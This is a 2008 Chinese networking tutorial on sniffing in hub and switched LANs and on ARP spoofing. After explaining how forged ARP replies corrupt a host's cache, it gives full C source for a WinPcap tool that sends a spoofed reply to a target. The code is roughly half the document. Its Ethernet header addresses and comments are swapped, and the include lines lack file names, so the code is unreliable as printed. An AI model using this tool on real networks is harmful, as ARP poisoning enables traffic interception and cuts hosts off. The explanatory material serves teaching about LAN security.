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交换网络中的嗅探和ARP欺骗

来源:51cto 编辑:xuqingzhong 时间:2008-08-26

 

 

 

    以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。
ARP缓存表
假设这样一个网络:

             ——————————
             |       HUB        |
             ——————————
                |      |      | 
                |      |      | 
                |      |      | 
             HostA   HostB   HostC 
 

其中
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:
     
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic   

这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的
ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记
录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接
收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。
因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。
集线器网络(Hub-Based)
很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播
到Hub的所有端口上。
这就是上面举例中的一种网络结构。
现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记
录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。
正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。
因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。
交换网络(Switched Lan)
交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面
例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。
ARP欺骗( ARP spoofing)
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存
进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应
答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不
知道被伪造了)。
现在A机器的ARP缓存更新了:
     
C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic   

这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!
这就是一个简单的ARP欺骗。
我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/)
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。
     
///////////////////////////////////////////////////////
//
//                ARP Sender
//
//           Creator:    Refdom
//           Email:      refdom@263.net
//           Home Page:  www.opengram.com
//
//           2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h"
//GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了
#include 
#include 

#define EPT_IP0x0800/* type: IP*/
#define EPT_ARP0x0806/* type: ARP */
#define EPT_RARP0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */
#defineARP_REQUEST0x0001/* ARP request */
#defineARP_REPLY0x0002/* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr 
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* ARP/RARP operation */

unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR*temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0') 
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一个网卡(假设啦)

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
  printf("warning: Unable to send more than one packet in 
           a single write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}

printf ("Send ok!\n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}   
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